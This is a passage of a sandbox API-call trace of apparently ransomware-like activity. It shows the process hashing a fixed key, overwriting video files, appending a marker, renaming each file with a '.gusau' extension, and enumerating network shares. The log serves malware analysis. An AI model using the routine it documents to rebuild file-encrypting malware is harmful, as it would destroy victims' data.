ftLastAccessTime.dwLowDateTime=0x26ef48a0, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0x26ef48a0, ftLastWriteTime.dwHighDateTime=0x1d4c803, nFileSizeHigh=0x0, nFileSizeLow=0xc242, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZPlP3lZcQ.flv", cAlternateFileName="ZPLP3L~1.FLV")) returned 1 [0119.911] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0x3920c68 [0119.911] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x166) returned 0x38e0b90 [0119.912] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.912] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\ZPlP3lZcQ.flv") returned=".flv" [0119.912] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\ZPlP3lZcQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\zplp3lzcq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.912] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=49730) returned 1 [0119.912] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.914] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xc21c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.914] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.916] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.916] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.916] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.916] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xc242, lpOverlapped=0x0) returned 1 [0119.916] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.917] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.917] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.917] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.917] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.917] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.917] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.917] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.917] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.917] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.918] GetLastError () returned 0x0 [0119.918] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.918] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.918] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.918] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc240) returned 0x39f9f20 [0119.918] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.918] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.918] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xc23d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xc23d, lpOverlapped=0x0) returned 1 [0119.918] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.918] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xc242, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.918] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.918] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5118 [0119.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5118, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.918] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5548 [0119.918] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.919] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.919] WriteFile (in: hFile=0x610, lpBuffer=0x39f5548*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5548*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.919] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5548 | out: hHeap=0xd10000) returned 1 [0119.919] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.919] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.919] CloseHandle (hObject=0x610) returned 1 [0119.920] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x110) returned 0x3920c68 [0119.920] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x920) returned 0x39f5118 [0119.920] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\ZPlP3lZcQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\zplp3lzcq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\ZPlP3lZcQ.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\zplp3lzcq.flv.gusau")) returned 1 [0119.920] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.920] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.921] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.921] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3bd7a90, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x5aaf4590, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0x5aaf4590, ftLastWriteTime.dwHighDateTime=0x1d4cae3, nFileSizeHigh=0x0, nFileSizeLow=0x5d0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_eu6q3E zyK.mp4", cAlternateFileName="_EU6Q3~1.MP4")) returned 1 [0119.921] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0x38e0b90 [0119.921] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x166) returned 0x3920c68 [0119.921] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\_eu6q3E zyK.mp4") returned=".mp4" [0119.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\_eu6q3E zyK.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\_eu6q3e zyk.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.922] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=23819) returned 1 [0119.922] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.924] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5ce5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.924] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.925] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.926] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.926] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5d0b, lpOverlapped=0x0) returned 1 [0119.926] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.926] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.926] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.926] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.926] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.927] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.927] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.927] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.927] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.927] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.927] GetLastError () returned 0x0 [0119.927] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.927] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.927] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.927] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x5d10) returned 0x39f9f20 [0119.928] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.928] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.928] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x5d06, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x5d06, lpOverlapped=0x0) returned 1 [0119.928] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.928] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.928] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.928] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5118 [0119.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5118, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.928] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5548 [0119.928] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.928] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.928] WriteFile (in: hFile=0x610, lpBuffer=0x39f5548*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5548*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.928] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5548 | out: hHeap=0xd10000) returned 1 [0119.928] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.928] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.928] CloseHandle (hObject=0x610) returned 1 [0119.929] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x110) returned 0x38e0b90 [0119.929] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x920) returned 0x39f5118 [0119.929] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.929] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\_eu6q3E zyK.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\_eu6q3e zyk.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\_eu6q3E zyK.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\_eu6q3e zyk.mp4.gusau")) returned 1 [0119.930] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.930] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.931] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3bd7a90, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x5aaf4590, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0x5aaf4590, ftLastWriteTime.dwHighDateTime=0x1d4cae3, nFileSizeHigh=0x0, nFileSizeLow=0x5d0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_eu6q3E zyK.mp4", cAlternateFileName="_EU6Q3~1.MP4")) returned 0 [0119.931] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0119.931] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f38 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6020 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6a18 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6930 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6848 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f61f0 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f64a8 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7158 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7240 | out: hHeap=0xd10000) returned 1 [0119.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7328 | out: hHeap=0xd10000) returned 1 [0119.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7410 | out: hHeap=0xd10000) returned 1 [0119.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f74f8 | out: hHeap=0xd10000) returned 1 [0119.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f75e0 | out: hHeap=0xd10000) returned 1 [0119.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0119.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964eb0 | out: hHeap=0xd10000) returned 1 [0119.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.932] SendMessageW (hWnd=0x30152, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0119.933] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a7a8 | out: hHeap=0xd10000) returned 1 [0119.933] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3958e28 | out: hHeap=0xd10000) returned 1 Thread: id = 320 os_tid = 0x63c [0115.248] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x41afee0 | out: lphEnum=0x41afee0*=0x39836a0) returned 0x0 [0115.286] WNetEnumResourceW (in: hEnum=0x39836a0, lpcCount=0x41afedc, lpBuffer=0x39e6458, lpBufferSize=0x41afed8 | out: lpcCount=0x41afedc, lpBuffer=0x39e6458, lpBufferSize=0x41afed8) returned 0x0 [0115.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960ba0 [0115.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960be8 [0115.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0115.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960c30 [0115.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960c78 [0115.286] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x39e6458, lphEnum=0x41afe28 | out: lphEnum=0x41afe28*=0xdc5fb0) returned 0x0 [0115.290] WNetEnumResourceW (in: hEnum=0xdc5fb0, lpcCount=0x41afe24, lpBuffer=0x39ec460, lpBufferSize=0x41afe20 | out: lpcCount=0x41afe24, lpBuffer=0x39ec460, lpBufferSize=0x41afe20) returned 0x103 [0115.290] WNetCloseEnum (hEnum=0xdc5fb0) returned 0x0 [0115.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960be8 | out: hHeap=0xd10000) returned 1 [0115.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960ba0 | out: hHeap=0xd10000) returned 1 [0115.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960ba0 [0115.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960be8 [0115.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xe0) returned 0xdf6308 [0115.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960570 [0115.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960d08 [0115.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960c78 | out: hHeap=0xd10000) returned 1 [0115.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960c30 | out: hHeap=0xd10000) returned 1 [0115.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39418b0 | out: hHeap=0xd10000) returned 1 [0115.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960c30 [0115.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960c78 [0115.291] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x39e6478, lphEnum=0x41afe28 | out: lphEnum=0x41afe28*=0x41afe44) returned 0x4b8 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960be8 | out: hHeap=0xd10000) returned 1 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960ba0 | out: hHeap=0xd10000) returned 1 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x150) returned 0xdcc590 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960ba0 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960be8 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960918 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960d08 | out: hHeap=0xd10000) returned 1 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960570 | out: hHeap=0xd10000) returned 1 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960c78 | out: hHeap=0xd10000) returned 1 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960c30 | out: hHeap=0xd10000) returned 1 [0127.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf6308 | out: hHeap=0xd10000) returned 1 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec30 [0127.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0127.567] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x39e6498, lphEnum=0x41afe28 | out: lphEnum=0x41afe28*=0x41afe44) returned 0x4c6 [0127.571] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0127.571] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0127.571] WNetEnumResourceW (in: hEnum=0x39836a0, lpcCount=0x41afedc, lpBuffer=0x39e6458, lpBufferSize=0x41afed8 | out: lpcCount=0x41afedc, lpBuffer=0x39e6458, lpBufferSize=0x41afed8) returned 0x103 [0127.571] WNetCloseEnum (hEnum=0x39836a0) returned 0x0 [0127.571] SendMessageW (hWnd=0x30152, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 328 os_tid = 0x5cc Thread: id = 343 os_tid = 0x2b8 Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa6a0000" os_pid = "0x120" os_integrity_level = "0x4000" os_privileges = "0x60800000" 